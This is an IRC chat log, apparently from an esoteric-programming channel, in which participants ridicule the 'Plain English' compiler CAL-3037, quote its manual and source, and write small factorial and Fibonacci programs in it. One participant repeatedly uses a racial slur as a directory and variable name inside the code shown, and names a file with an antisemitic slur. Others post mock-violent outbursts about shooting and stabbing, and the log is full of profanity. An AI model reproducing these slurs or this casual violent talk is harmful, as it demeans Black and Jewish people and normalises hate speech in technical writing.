it's most likely a joke, right? 19:46:33 clicking on a "link" uses js to change the gif location 19:46:35 oerjan: no 19:46:39 it's absolutely serious, I'm afraid 19:46:44 and the ~10,000 lines of code actually work 19:46:45 I acquired a laptop cat too. It's very sharp. 19:46:47 and it can actually compile itself 19:46:50 (in less than 3 seconds!!!12512) 19:46:58 i guess it's a little elaborate for a joke 19:47:18 i'm afraid it's not a joke in any form 19:47:39 You forgot one part, 19:47:41 The GUI : 19:47:42 http://membres.lycos.fr/bewulf/Divers8/Cal.jpg 19:47:48 then you may be forgotting the joke on the author 19:47:49 Slereah_: That also. 19:47:52 Would you like to use this, or kludgy old windows? 19:47:58 *forgetting 19:48:02 oerjan: it's not a joke, honestly 19:48:07 I've researched this indepthly 19:48:14 (he googled) 19:48:26 That also. 19:48:27 ehird: doesn't joke on the author mean what i think it does? 19:48:33 oerjan: oh right 19:48:36 you just worded it oddly 19:48:49 Misread "you just whored it oddly". 19:49:06 He's pimpin'. 19:49:18 fizzie: the manual actually talks about the gui's fullscreenness as liberating you from the kludge 19:49:42 Regarding the "bootstrapping compiler" you mentioned, I'm afraid it is now lost in the annals of programming history. It was a Pascal-like language of our own design and was implemented using a very tiny subset of Borland's Delphi. We employed it briefly to produce the extremely minimal CAL-1000 (our first Plain English development system) and then immediately abandoned it. At that point we took the Osmosian Oath ("I promise never to program in any langu 19:49:44 age but my own" and used the CAL-1000 to develop the more robust CAL-1001, entirely in English. The CAL-1001, in turn, was used to produce the more capable CAL-1002, again in English, and so forth, all the way up to the fully functional CAL-3037, which we released as a commercial product. It's successor, the CAL-3040, is currently in testing. 19:49:49 from 05/11/09 19:49:51 dudes 19:49:53 that's RECENT 19:49:55 fizzie: so what you are saying is that you need to get laid? 19:49:55 A NEW PLAIN ENGLISH COMPILER!!!!11 19:49:59 also, I like how they threw away the bootstrap compiler 19:50:11 and I like how they made a language compiler to make their language compiler 19:50:12 BUT 19:50:16 A NEW CAL RELEASE! Slereah_! 19:50:18 We can pay like $100 again! 19:50:27 o m g 19:50:28 ais523: 19:50:28 [[But the really interesting work is about to begin as we enter Phase II of our project and use the the last of the CAL-series compilers to create the initial incarnation of our "apparently intelligent"(tm) machine, the PAL-1000. ]] 19:50:35 ridiculous 19:50:36 Wolfram Alpha or Singularity? 19:50:38 YOU DECIDE 19:50:50 ais523: (this is a comment on 99-bottles-of-beer.net, lol) 19:51:42 I sure hope this is a joke. 19:51:49 pikhq: it's not, goddamn 19:51:52 I'm afraid it isn't, though. 19:52:07 That should be "wish this were" 19:52:10 When we recently launched our website, www.osmosian.com, it was 19:52:10 classified by Jack Klein as "hideous" and "abusive", and by Randy 19:52:10 They turned a perhaps somehow interesting language into a giant insane joke 19:52:11 Howard as something that "looks like crap". 19:52:12 Kudos 19:52:13 Others, however, said it was "nice and simple", "quite pretty", and a 19:52:15 "very slick" implementation of the AJAX philosophy. 19:52:17 We're confused. Can a woman be both unbearably ugly and delightfully 19:52:19 pretty at once? Of course not. So how can a web site be so? 19:52:21 —help@osmosian.com in comp.infosystems.www.authoring.site-design 19:52:23 They are, unfortunately, not aware of subjectivity, it seems. 19:52:25 It'd explain their strong language. 19:52:56 Note that in those 60 lines, 19:52:56 support for the Home, End, Page Up, and Page Down keys is included. 19:53:01 Slereah_: Their sight has KEYBOARD SHORTCUTS. 19:53:03 *site 19:53:10 It actually works 19:53:18 You mean like if you press F5? 19:53:24 [[>That old kind of image map is not done in a way that is accessible. 19:53:24 What do you mean by "accessible"?]] 19:53:28 WHAT IS BLIND PEOPLES 19:53:29 Slereah_: nope 19:53:33 Slereah_: try home/end/pgup/pgdown 19:53:51 Do I really have to go back on that page? 19:53:58 [[Any good book or web tutorial on Perl+CGI or PHP should give you 19:53:58 the information you need.]] 19:54:01 Oh burn. 19:54:06 Now they're gonna get a taste of Plain English. 19:54:17 You know what I think, every time I see their picture of Noam Chomsky? 19:54:28 I think he looks like Malcolm Corley from Full Throttle. 19:54:51 You may have a point there. 19:54:56 Bill Gates looks like an ape 19:55:43 I wonder if I could like do a program that I might do at werk on Osmosian 19:55:51 Like a model of physics and shit 19:55:57 And write a revioo of it 19:55:57 Slereah_: THE UNIVERSE IS AN ALGORITHM NOT A FORMULA 19:56:09 That's why you can't do exponentiation 19:56:13 Multiplication was enough for Jesus 19:56:37 -!- Corun|away has changed nick to Corun. 19:56:43 lulwut 19:56:52 Slereah_: You can't even do 2+2 19:56:54 It has to be "2 plus 2" 19:56:57 SOMEONE SAID MY NAME. 19:57:03 But this client has not much log 19:57:11 And hi. 19:57:13 Corun: 19:23 oerjan: Corun: the categorical dual of a run 19:57:22 Heh 19:57:27 fungot: Would you prefer to be written in PLAIN ENGRISH? 19:57:27 fizzie: the details of these routines is to set the top of consecutive ram: ffcf ( hex) 65520 ( decimal). normally, when it reaches a non-ram address ( and leaving lis- tener(s) active on the screen, and 19:57:31 Ta 19:57:33 Plain Engirsh 19:57:36 *Engrish 19:57:38 That'd be great 19:58:38 -!- Hiato has quit ("Leaving."). 19:59:43 You know what's great about CAL? I wouldn't be surprised if someone did Trusting Trust on it. 19:59:51 Slereah_: Did you read their docs as the pdf? 19:59:52 Don't 19:59:56 Read the non-pdf version with CAL! 19:59:58 It's awful. 20:00:16 !slashes \\\\ 20:00:17 \ 20:00:19 Inline assembled x86 machine code just screams 'Trusting trust'. 20:00:34 Slereah_: WHAT THE FUCK. Go to cal-3037\lexicon\lexicon 20:00:42 It's a bloody list of words 20:00:47 Does it reject other ones or something? 20:00:50 To force you to use PLAIN ENGLISH? 20:02:19 Slereah_: 20:02:20 - Since we can't know how big the window is, let's pick a minimum and 20:02:20 center the work. 20:02:22 - Let's guarantee the font by using anti-aliased pictures of it. 20:02:24 - Let's guarantee the size and placement of text by using only pictures 20:02:26 of it. 20:02:28 - Let's guarantee the colors by making them part of the pictures. 20:02:30 STOP MAKING WEBSITES 20:03:31 ehird: The lexicon is used by the editor's spell checker. 20:03:39 pikhq: Seriously? 20:03:52 Yeah. 20:03:58 Hey, what a coincidenciey; I just came across another text-in-image "website"; http://tzoot.com/ 20:04:19 fizzie: "frakking hot project integrating Twitter" KILL KILL KILL 20:04:21 STAB STAB STAB 20:04:23 DEATH MODE ACTIVATED 20:04:27 ALL SYSTEMS OVERRIDDEN 20:04:28 The job offer there was posted to the university's internal newsgroupsies. 20:04:30 BOOKING PLANE TO FINLAN 20:04:30 D 20:04:34 GRABBING GUN 20:04:36 BRB 20:05:10 To make a link in their fancy text-as-a-picture system, they've resorted to an image-map. Heh. 20:06:54 pikhq: I feel like I need to praise some tiny part of CAL so that the rest of my criticisms stand out even more. 20:07:13 The filesystem explorer thing works quite nicely, even though it has no fucking place whatsoever in it. 20:08:52 That compiler is pretty bad. 20:09:10 Sticking it in 'Plain English' doesn't help my understanding of it! 20:09:22 pikhq: [[ append "intel $50. " to the routine's body string. \ push eax]] 20:09:31 They just replace all the commands with the intel command, then compile THAT> 20:09:34 No intermediate forms. 20:09:39 Just changing strings into inline machine code. 20:09:49 Especially since there's hardly any commenting. 20:09:52 Yeah. 20:10:19 And they've got the nerve to call this the most advanced compiler around today. 20:10:33 I've written more sophisticated compilers in Brainfuck. ;) 20:10:55 inline asm in plain english, how brillian 20:10:58 *brilliant 20:11:06 And PEBBLE is significantly more sophisticated... 20:11:11 to pluralize a string: \ nouns only 20:11:11 if the string is "alumnus", put "alumni" into the string; exit. 20:11:12 It does dead-code optimisation. 20:11:12 if the string is "auto", put "autos" into the string; exit. 20:11:14 if the string is "cello", put "cellos" into the string; exit. 20:11:16 [etc] 20:11:18 DEAR GOD WHY 20:11:20 WHY WHY WHY WHY 20:11:22 it's huge 20:11:51 But OUR website is OUR brochure for OUR product. 20:11:51 WE should be able to determine what OUR brochure looks like. 20:11:52 —help@osmosian.com 20:11:57 The Web. You do not understand it. 20:12:15 I wonder, what does CAL mean anyway?* 20:12:43 Compile Aur Language? 20:13:00 [[The web was designed as a unix-like file transfer 20:13:00 utility, and nothing more. ]] 20:13:02 Also, PEBBLE 1.0 comes in at 74,787 lines of code... 20:13:05 I'm sure Tim Berners-Lee would not agree. 20:13:12 pikhq: WTF? 20:13:16 How did you make it that big 20:13:28 ehird: Most of that is in the macro system. 20:13:33 o_O 20:13:40 You can implement a great Scheme in like 5k lines. 20:13:42 And most of *that* is in the macros for Brainfuck constants. 20:13:45 finally my logreading is over 20:13:51 74k lines = nuclear reactor control system. 20:13:55 lucky bastard, i still have nearly half left 20:14:12 Erm, sorry. 20:14:16 Miscount. 20:14:30 ... That was the number of characters. 20:14:37 [[Site Visits: 712 20:14:38 Sample Program Downloads: 242 20:14:39 Purchases: 1 20:14:41 And I missed most of the macros. 20:14:41 Actual, unsolicited user comment: "a minor work of genius"]] 20:14:45 I'm sure you didn't make that one up, mr bill gates. 20:14:48 pikhq: How many lines? 20:14:54 14,434 LOC, 225033 characters. 20:15:00 14k is more reasonable for a huge stdlib. 20:15:28 I will now try something I never tried before 20:15:33 A program in Plain English 20:15:34 And I've got 3 versions of some parts of the stdlib. Seems reasonable. 20:15:35 Slereah_: <3 20:15:41 God is with you. 20:15:54 Slereah_: You have to make a new directory 20:15:58 Then Ctrl-C the noodle, enter it, C-v it 20:16:02 then make a new file named anything 20:16:05 for your program code 20:16:09 1,465 LOC if you just count the compiler proper. 20:16:17 (that is one freaking massive stdlib) 20:16:18 Slereah_: Also, you can't just print stuff. 20:16:22 You need to use the shit graphics library 20:16:26 ehird : Can't I just work in the Cal directory? 20:16:30 Slereah_: Nope 20:16:37 It'll compile to cal-3037.exe if you do that 20:16:40 Thus destroying the compiler 20:16:51 Nooooo 20:16:58 I'm going to make a program that calculates factorials in it 20:17:07 Last I checked, I've got just about every bit of the Brainfuck Algorithms page in it. 20:17:26 And some C-specific and interpreter-specific replacements. 20:17:48 How do I... do anything in the GUI? 20:17:54 (the interpreter, being unsophisticated, benefits greatly from those replacements) 20:17:55 I can't do shit apart from opening files 20:18:18 Slereah_: Use the menus 20:18:20 Can't I like open a new file? 20:18:22 N has new 20:18:23 What menus? 20:18:27 Slereah_: The letters at the top 20:18:30 Yes, it's sorted alphabetically 20:18:32 Oh right, I remember 20:18:36 God that is retarded 20:18:40 Slereah_: New directory, name it, ctrl-c after selecting the noodle, 20:18:43 enter the directory, ctrl-v 20:18:47 new file, name same as directory 20:18:48 voila 20:19:08 Why same name as directory? 20:19:17 Slereah_: Because it compiles to directoryname.exe 20:19:25 So presumably you want your source to be named the same without .exe 20:19:29 Well, let's call it nigger 20:19:33 Also I'm not sure how you return a value 20:19:38 "say yes/no" seems to just be for booleans 20:19:45 Oh wait 20:19:49 Maybe you take another parameter 20:19:51 ais523: prolog style! 20:20:02 heh 20:20:10 well, most languages you can express prolog-style passing, it just isn't idiomatic 20:20:13 ah, nope, 20:20:18 it modifies the parameter 20:20:20 i think 20:20:32 Oh. 20:20:37 say result; exit. 20:20:47 "if the number is less than 2, say 1; exit." 20:20:56 Well, Open as text. 20:21:07 Slereah_: wut 20:21:07 Now what do I do, do I follow orders from the tutorial? 20:21:11 Yes. 20:21:12 It's a bit confusing 20:21:17 It is. 20:21:28 I'm not sure how to have more than one variable of the same type in a procedure 20:21:55 What are we tralking about? 20:22:15 Sgeo: Plain English! 20:22:26 s/tral/tal/ 20:22:47 Well, I did the two line program 20:22:52 How do I execute it 20:23:06 Oh, compile 20:23:11 Oooooh, it has a clock 20:23:14 [[to calculate the factorial of a number: 20:23:14 if the number is less than 2, say 1; exit. 20:23:15 calculate the factorial of the number minus one. 20:23:17 To show you how fast it goes! 20:23:17 multiply the number with the factorial.]] 20:23:24 That compiles!11 20:23:29 Three lines, and it took 0.5 seconds to compile 20:23:33 That looks fast 20:24:05 Well, they told me it wouldn't do anything, and it sure didn't 20:24:44 Darn 20:24:48 "I don't know how to 'say [number]'" 20:24:49 ... 20:24:53 it only gave me that error when I actually called it 20:24:54 lolololol 20:25:31 Hm 20:25:42 I like how they say that you don't need to end up by ; and shit 20:25:48 If the number is less than 2, the factorial is 1; exit. ← fails :( 20:25:48 But you still need to punctuate 20:25:54 Slereah_: ; becomes . 20:25:54 :P 20:26:10 Yay, I made Osmosian beep! 20:26:25 How can I like, output text? 20:26:56 Slereah_: You have to draw a background 20:26:58 Hmm. How many LOC is Cplof? 20:26:58 and handle the refresh event 20:27:02 and put the text on the screen 20:27:09 Read the tutorial :P 20:27:23 That sounds like something that would make everyone's lives easier! 20:27:58 Why won't the tutorial go straight to the point, really? 20:27:59 5,000 or so. Man, Osmosian is undense. 20:28:04 Can"'t they just say "Here's a simple program, you can fuck around with it a bit"? 20:28:09 Slereah_: It's totally engagin. 20:28:09 g 20:29:51 Slereah_: I cannot figure out how to return a value from a function without just being implicit 20:29:59 I get that, like, if you say multiply as the last thing, that's the result 20:30:03 But how do I shot early result? 20:30:06 I rage a lot because of the full screen GUI 20:30:16 I have to press the windows key all the time to switch to the pdf 20:30:26 Slereah_: Read it in the editor 20:30:31 Just open instructions instead of instructions.pdf in it 20:30:36 It's delightfully awful 20:31:23 On CAL not running on Linux: "Sorry. It doesn't run on DOS or CP/M either." 20:31:34 haha 20:31:34 LINUX IS A COMMAND LINE BLACK AND WHITE 20:31:37 what /is/ CAL 20:31:41 ais523: the Plain English compiler 20:31:46 ah 20:31:47 and IDE 20:31:48 and file manager 20:31:50 and document viewer 20:31:52 and word processor 20:31:59 Oddly enough, they've made it so that it's not hard to retarget. 20:32:04 and no, you can't compile outside of it 20:32:23 ... Assuming you can deal with its handbuilt ASM. 20:32:37 It was bad when the Linux kernel devs did it, and it's still bad now! 20:34:08 (now, where did they have that, anyways?) 20:34:25 I'm trying to compile stuff, but it asks me how do I compile background 20:34:28 Raaagre 20:34:45 Slereah_: You have to write the subroutine 20:34:47 rtft 20:34:55 Slereah_: You need to bring the noodle over, as well. 20:35:09 But the nüdle is in the same directory! 20:35:12 (/nigger/) 20:35:18 aha, a glossery! 20:35:23 pikhq: no 20:35:29 you need to write your own subroutine 20:35:30 for the background 20:35:39 How do I do that 20:35:43 Ah. 20:35:47 Slereah_: read the tutorial 20:35:48 Now remember. I don't do nested ifs. I don't do nested loops. And I don't 20:35:49 do objects, real numbers, equations, or any of the other menschenwerk that 20:35:51 has inhibited the progress of the human race over the past 200 years. Talk 20:35:53 to me like a NORMAL person, and we'll get along just fine. 20:35:59 pikhq: equations and real numbers has inhibited the progress of the human race for 200 years 20:36:05 *have 20:36:13 ... Inhibited? 20:36:16 * pikhq stabs 20:36:29 I could've sworn the reals were older. 20:36:43 Oh awesome, they call ASCII the Windows-extended ASCII 20:36:53 Windows-1252? 20:36:55 The complex numbers might be about that old, but the reals are ancient. 20:37:06 ehird: ... That's because it is. 20:37:15 pikhq: No, ASCII is ASCII. 20:37:18 Window's "ASCII" is a superset of ASCII that claims to be ASCII. 20:37:21 ASCII != Windows-extended ASCII. 20:37:26 Also, *Windows' 20:37:42 My understanding of things around me became possible when my creators 20:37:42 hard-wired six primitive data types into my brain. These six basic types are: 20:37:43 BYTE, WYRD, NUMBER, POINTER, FLAG, and RECORD. 20:37:45 Wyrds. My creators put wyrds in my brain because I can't talk to the kluge 20:37:47 without them. They are 16 bits long and look to me like numbers from 20:37:49 -32768 to +32767. The bits in each byte are stored left-to-right, but the 20:37:51 bytes are stored backways. I don't like it that way, but the kluge insists. 20:37:51 The most egregious example is smart-quotes. 20:37:53 Wyyyyyyyyyrds 20:38:46 pikhq: I like smart quotes, but Unicode ones. 20:38:48 It's especially annoying that this screws stuff up, since Windows doesn't even use ASCII any more. 20:38:49 But I'm a typography geek. 20:39:07 ehird: If it were proper Unicode left and right quotes, then I'd have no problems. 20:39:19 Pointers. Memory addresses are stored in 32-bit pointers, backways. They 20:39:19 have the same range as numbers, but all the negatives belong to the kluge. 20:39:20 Address 0 is invalid and is called NIL. You can VOID a pointer to make it NIL. 20:39:25 This language is so tied to the kludge 20:39:31 For something that claims to shield you from it 20:39:42 Flags. They're 32 bits, but only the rightmost bit is used. Actually, it's eighth 20:39:42 from the left, but you can think of it as rightmost. 20:39:43 ehird: are you quoting from something? 20:39:45 WWWWWWWWWWWWWWWWWWWWWWWWHAAAAAAAAAAAAAAAAAAAAAAAATTTTTTTTT 20:39:49 ais523: The CAL manual. 20:39:55 U+201C and U+201D. Please, please. 20:39:58 I'm searching for "extract", but it tells me nothing! 20:39:59 AAAAAAAAAAAAAAAH 20:40:03 ais523: He's quoting the documentation. 20:40:07 (In the tutorial) 20:40:09 I don't get why wyrds at all 20:40:17 ais523: Because it's ghetto 20:41:36 Fine, let's do everything their way 20:41:36 Do everything they say until it works 20:41:42 Wow 20:41:43 This is a nazi program 20:41:46 Slereah_: It ignores the space when compiling 20:41:49 I wonder if you can type 20:41:53 Tocalculatethefactorialofanumber: 20:41:59 oh 20:42:00 I recognize these bytes as separators, of 20:42:01 course, but otherwise do nothing with them. 20:42:49 "My creators thought alphabetical was best, so they put a "Sort Definitions" command under "S"." 20:42:51 HNNNNNNNNNNNNG 20:43:02 i know 20:43:06 it's so wonderfully illogical 20:43:09 I want to shoot him with extreme prejudice 20:43:10 also, where else would they put it? 20:43:11 Under Q? 20:43:30 Slereah_: 20:43:31 A "console" is a text-only, conversational interface. My noodle includes a 20:43:32 default console that looks something like this in operation: 20:43:33 The console can be activated at any time. It occupies the entire screen and 20:43:35 uses the default font in the black color on the lighter gray background.I am the CAL-3037. What is your name? 20:43:38 > Dr. Chandra 20:43:40 Good morning, Dr. Chandra. I'm ready for my first lesson. 20:43:42 NO NEED FOR GUI CODE!! 20:43:44 YAY!! 20:43:46 search for console in the manual 20:44:01 IT WORKS 20:44:46 "If you looked around in my noodle a few pages back, you know that just "starting up" on the kluge requires over 100 lines of the goofiest code ever seen by mortal man." 20:44:57 Do you think I could kill someone with my mind if I hated him enough 20:45:18 Yes 20:46:01 "Goofiest code ever seen by mortal man." 20:46:18 Sounds like *someone* hasn't been doing a lot of x86_16 coding. 20:47:07 I'm mostly kopipeing the tutorial examples, hoping it will work out in the end 20:47:12 Slereah_: Just use the read/write things 20:47:14 You can jsut do 20:47:25 To run: Start up. Write "Hello!". Read a number. Write the number. Shut down. 20:48:05 Oh. 20:48:44 DEBUG something. 20:48:44 Where "something" represents a box, byte, color, flag, font, line, number, 20:48:45 pair, pointer, ratio, spot, string, or wyrd. When they run the modified code, 20:48:46 Is the main program always called "To run"? 20:48:47 the kluge's ghastly message box appears with a clue inside. 20:48:50 You can even use real windoze things! 20:48:56 Slereah_: Yes. 20:51:00 Oh god 20:51:07 It outputs with the GUI 20:51:10 FULL SCREEN OF GREY 20:51:16 I hate you so much 20:51:16 Duh 20:51:22 Slereah_: That's how the GUI works 20:51:24 ALL programs look like that 20:51:29 Let's try to make a fibonacci! 20:51:35 To run: 20:51:35 Start up. 20:51:36 Write "Enter a number.". 20:51:38 Write "> " without advancing. 20:51:40 Read a number. 20:51:42 Calculate the factorial of the number. 20:51:44 Write "The factorial of " then the number then " is " then the factorial. 20:51:46 Write "Press enter to exit.". 20:51:48 Read a string. 20:51:50 Shut down. 20:51:52 Now I just need to make the calculator work. 20:51:54 Slereah_: You can't, I think. 20:51:56 There's no way just to return a constant. 20:52:01 ... 20:52:02 ? 20:52:07 Fuck you, I'll try! 20:52:12 How foolish am I 20:52:13 Slereah_: I've tried. 20:52:17 "say 1" doesn't work 20:52:21 "put 1 into the factorial" doesn't work 20:52:24 "1" doesn't work 20:52:31 Hm. 20:52:32 You'll have to implement a stack. 20:52:34 :p 20:52:53 It's probably possible I just don't know how to dooooo it 20:53:01 ehird: are there other ways than "Shut down" to terminate the program? 20:53:06 lifthrasiir: nope 20:53:55 Is there any directory of functions in that piece of shit? 20:54:02 Apart from the noodle 20:54:09 AHA 20:54:13 Slereah_: Just noodle 20:54:14 Like where are the basic definitions of functions? 20:54:21 I have almost donnne it 20:54:25 but noodle doesn't define primitives like loop 20:54:37 That's in the compiler. 20:55:03 So much of the tutorial is devoted to GUI 20:55:07 I want to eat his bones 20:55:10 Yay it calculates factorials 20:55:21 Naming the result the same as the variable all he time makes me rage 20:55:51 -!- impomatic has joined. 20:55:53 I can't name them properly 20:55:53 Hi :-) 20:55:56 hi 20:56:02 we're discussing an awful programming language 20:56:10 Haskell? 20:56:12 ... 20:56:15 impomatic: Haskell is awful? 20:56:20 BEGONE, FOUL DEMON! 20:56:26 -!- impomatic has left (?). 20:56:31 ... no, not like that. 20:56:44 oerjan: quick, bring the amulet of the unsafeCoerce! 20:56:52 I verily did (impomatic :: forall a. a) 20:56:56 And now we cannot retrieve his value! 20:57:01 :-D 20:57:16 I fear it may be too late 20:57:23 For this is what I see as his fate: 20:57:28 The garbage collector will verily come, 20:57:41 and from inside his cloak, the scythe will run- 20:57:43 -his blood. 20:57:48 And, um, then he'll be freed. 20:57:58 Reaped, you mean. 20:58:18 Yes. Let's try tthat again 20:58:21 I fear it may be too late 20:58:24 For this is what I see as his fate: 20:58:26 Oh god, what does loop do? 20:58:29 The garbage collector will verily come 20:58:31 I'm looking all over, it doesn't say shit 20:58:35 and from inside his cloak, the scythe will run 20:58:39 his blood down to the tiles 20:58:43 And then his memory shall be reaped. 20:58:46 Slereah_: Loop to repeat 20:58:49 To exit use break 20:58:55 Oh, found it 20:58:58 ehird : Repeat what? 20:59:01 Slereah_: 20:59:02 The previous line? 20:59:02 Loop. 20:59:03 Stuff. 20:59:05 Repeat. 20:59:09 From up to Loop. 20:59:13 OK, I think I see my problem with my factorial thing. 20:59:17 Oic 20:59:18 Plain English hates non-imperativeness. 20:59:38 Saying LOOP is really plain English 20:59:42 You say that every day 20:59:48 Can't he say "Do this until that?" 21:00:05 DO WHILE 21:00:15 It's too C for him I guess 21:00:33 And he hates C 21:00:54 pikhq: Rate my Haskell poetry from 0 to 11 21:01:01 Although i's more garbage collector poetry, I guess. 21:01:04 *it's 21:01:10 Actually -1 is an option too, since it's pretty awful 21:01:20 ehird: It goes up to 11. 21:01:21 "Unlike neanderthal-era compilers, my rules for names are broad and flexible." 21:01:25 And down to -1. 21:01:26 I hurt so much inside. 21:01:50 Slereah_: It's like Malbolge. Except worse. 21:01:56 And TC. 21:02:03 Slereah_: I figured out how to have two variables of the same type 21:02:11 Give a name to the other one, and make a type: 21:02:17 A the-name is a the-type. 21:04:36 Oh god, I miss the equal sign so much :( 21:05:00 and people /pay/ for this? 21:05:07 ais523: Yuh. 21:05:21 Someone should make a tutorial written in non-stupidese 21:05:42 Don't. 21:06:13 If you find a bug in me, write my creators and they will send you something 21:06:13 desirable like a blank t-shirt. If you can figure out how to make me simpler 21:06:14 without making me slower, they will send you a monogrammed t-shirt. And If 21:06:16 you can come up with a way to make me smaller, faster, and more powerful all 21:06:18 at once, I'm pretty sure they will send you an embroidered wife-beater. 21:06:20 ais523: do you want an embroidered wife-beater? 21:06:39 ehird: not particularly 21:07:14 Oh god 21:07:22 You can't terminate an infinite loop with ctrl+z 21:07:24 AHA 21:07:27 I hate them so much 21:07:29 Slereah_: Tab to cal and use stop 21:07:30 "Put the mouse's spot into another spot." 21:07:34 You just need to say another! 21:07:40 That's TWO WHOLE VARIABLES OF THE SAME TYPE 21:08:15 "Multiply the number by the other number." 21:11:59 How the fuck is a variable defined? 21:12:13 Implicitly. 21:12:18 I tried "number2 is a number", but when I do "put 1 into a number2", it tells me no 21:12:19 You can sort of name them 21:12:25 Search for local variables 21:12:48 awit 21:12:49 wait 21:12:51 go to the names page 21:12:58 OOH 21:13:07 a loop chapter 21:14:27 I almost have it working 21:14:28 Tee hee 21:14:30 How would I go on to define two number variables? 21:14:40 I did Put 0 into a number, which works okay 21:14:42 Read the names chapter and shit 21:15:03 Aw man it's almost working 21:15:10 To calculate the factorial of a number: 21:15:10 Put the number into an original number. 21:15:11 Loop. 21:15:13 Put a counter plus 2 into a multiplier number. 21:15:15 If the multiplier is past the original number, exit. 21:15:17 Multiply the number by the multiplier. 21:15:19 Repeat. 21:15:23 loops 4eva 21:16:10 aha 21:16:14 you have to check whether the counter is past a number 21:16:17 to increment it 21:16:17 :DD 21:16:26 Slereah_: "The foo is a number." 21:16:33 might not work locally 21:16:49 nope 21:17:27 Oh god 21:17:33 I thnk I did it 21:17:35 Except... 21:17:41 IT CAN'T DEAL WITH BIG NUMBERS 21:17:45 yup 21:17:51 Slereah_: show your code? 21:18:09 To run: 21:18:09 Start up. 21:18:09 Put 0 into a number. 21:18:09 Write the number. 21:18:09 Put 1 into another number. 21:18:09 Loop. 21:18:10 Fibo the number and the other number. 21:18:12 read a string. 21:18:14 repeat. 21:18:16 Shut down. 21:18:18 To Fibo a number and another number : 21:18:20 Write the other number. 21:18:22 Put the number plus the other number into a nigger number. 21:18:24 Put the other number into the number. 21:18:26 Put the nigger number into the other number. 21:19:38 Well, it's TC. 21:19:45 It is probably also a tarpit. 21:19:54 I guess yeah 21:19:54 but god is that variable naming frustrating 21:20:16 pikhq: is it tc though? 21:20:22 no way to get an unbounded array 21:20:24 I wonder what would be the simplest way of implementing TCness on it 21:20:25 it thinks in pointers and shit 21:20:31 well 21:20:35 strings are an implementation detail 21:20:38 you could have infinite strings, theoretically 21:20:51 ehird, you could have infinite variables. 21:20:53 Also can't you just do functions? 21:20:55 Treat it as a register machine. 21:21:01 pikhq: you can't have infinite variables 21:21:03 no way to declare them 21:21:07 the set of variables is static at compile time 21:21:18 ... *Eeew*. 21:21:32 I think the best you could do is rely on strings, then. 21:21:45 Assuming there's a way to use it as a tape. 21:22:04 also 21:22:08 pikhq: If a counter is greater than 10 21:22:08 BZZT 21:22:10 doesn't increment counter 21:22:13 If a counter is past 10 21:22:14 Why not just do it functional, though 21:22:15 DING 21:22:16 increments it 21:22:20 Slereah_: no higher order functions 21:22:31 Fffffffffffff 21:22:34 You sure? 21:22:38 Yse. 21:22:39 *Yes 21:22:42 This is a tarpit, and not necessarily a Turing one. 21:22:51 It might actually just be a FSA tarpit. 21:23:31 hmm 21:23:34 it thinks 4! = 42 21:23:36 it's actually 24 21:23:38 lolwat 21:23:38 I look for array in the instructions, it only has strings, yeah D: 21:23:46 pikhq: you can call out to DLLs 21:24:06 XD 21:24:21 Yay 21:24:26 Slereah_: If it can access arbitrary values in a string, it is barely TC. 21:24:27 Slereah_: My program calculates the first 10 factorials 21:24:40 Like, say, using two strings to implement a stack. 21:24:46 A couple of stacks, rather. 21:24:50 It can "INSERT something INTO a STRING before a byte#. 21:25:00 Let's see if I can do some boolfuck on this shit 21:25:22 Hahah. 21:25:40 pikhq: Slereah_: Here is my wonderful factorial program: http://pastie.org/486839.txt?key=6qdilffgbgw9dbwe6npuda 21:25:47 * Slereah_ opens the file "Jewger" 21:25:52 It, of course, does not use bignums. Oh well. Works for the first 10 factorials. 21:26:24 Sometimes, however, you want 21:26:24 to change a parameter without letting your caller know. In this case, you can: 21:26:25 PRIVATIZE a parameter. 21:26:27 And I will make a copy of the parameter for you. But I will leave the name 21:26:29 the same, so you don't get confused. I'll also put the word "original" on the 21:26:31 front of the real parameter's name so you can still get to it, if you need to. 21:26:33 Argh 21:26:35 I wanted that before 21:26:37 It's all special cases and mirrors 21:27:49 Slereah_: I have a challenge for you 21:28:34 Slereah_: Make a mathematica-like system in plain english. >:)))))))))))))))) 21:29:22 Fuck you 21:29:31 Slereah_: >:(((((((((((( 21:29:41 I'm having enough difficulty understainding their string thing, it's barely explained 21:30:45 Slereah_: Lol, its number type runs out after 12! 21:30:51 (12!) that i 21:30:51 s 21:31:06 Slereah_: Also, use a rider 21:31:10 Rider? 21:31:10 It's their parser shit 21:31:13 you SLAP a rider ON a string 21:31:15 I'm not joking 21:31:18 search for it in the peedy eff 21:31:19 Waaat 21:31:23 or the non-peedy eff 21:31:23 ehird: 32-bit int 21:31:27 Deewiant: yeah i know 21:31:37 Deewiant: for such hostile people to the wintel kludge they sure use it a lot 21:31:44 :-P 21:31:49 "I set the first and the last of the substring to span the entire string. This allows you to work your way through the string forward or backward by adding to the first or subtracting from the last." 21:31:52 !!!!!!!!!!!!!!!!!!!!! 21:31:53 Slereah_: 21:31:54 A "function" is a routine that extracts, calculates, or otherwise derives a 21:31:54 I'm still not sure what it means 21:31:55 value from a passed parameter. Function headers take this form: 21:31:57 TO PUT something 'S something INTO a temporary variable: 21:32:07 To put a number's factorial into a result: 21:33:33 -!- kar8nga has quit (Remote closed the connection). 21:33:35 How do you deal with the position in a string? 21:33:40 Dunno 21:35:43 Well, I can remove the first letter of a string, that's easy enough 21:36:06 I think this might be useful, but I don't know what it means : FILL a string WITH a byte GIVEN a count. 21:36:09 Let's try it out! 21:36:56 ... 21:36:57 Error 21:37:01 I COPYPASTED IT 21:37:46 Owait, how do I input a byte? 21:37:54 Why can't I just input a character? 21:37:56 Whyyyyy 21:38:01 Hey Slereah_ 21:38:04 I found out how to make functions 21:38:08 that don't change the input variable 21:38:25 TO PUT variable's thing INTO variable: 21:38:26 Slereah_: http://pastie.org/486853.txt?key=2m1egetuar81rujxpg7blq 21:38:28 ↑ example 21:38:37 my factorial program written with the factorial procedure separate 21:38:54 I'm becoming quite a dab hand at this. 21:39:03 DAB DAB 21:39:08 You're our own Monet 21:39:55 The noodle isn't very helpful 21:39:56 to put a byte into a wyrd: 21:39:56 intel $8B8508000000. \ mov eax,[ebp+8] \ the byte 21:39:56 intel $660FB600. \ movzx eax,byte ptr [eax] 21:39:56 intel $8B9D0C000000. \ mov ebx,[ebp+12] \ the wyrd 21:39:56 intel $668903. \ mov [ebx],ah 21:39:59 Plain English 21:39:59 You can also make your computer talk, with the kluge's thirty-nine esoteric 21:39:59 "speech manager" functions, or these three simple statements: 21:40:00 SAY a string. 21:40:02 SAY a string AND WAIT. 21:40:03 What's a wyrd, too 21:40:04 WAIT UNTIL SPEAKING IS DONE. 21:40:06 Slereah_: That's not relevant 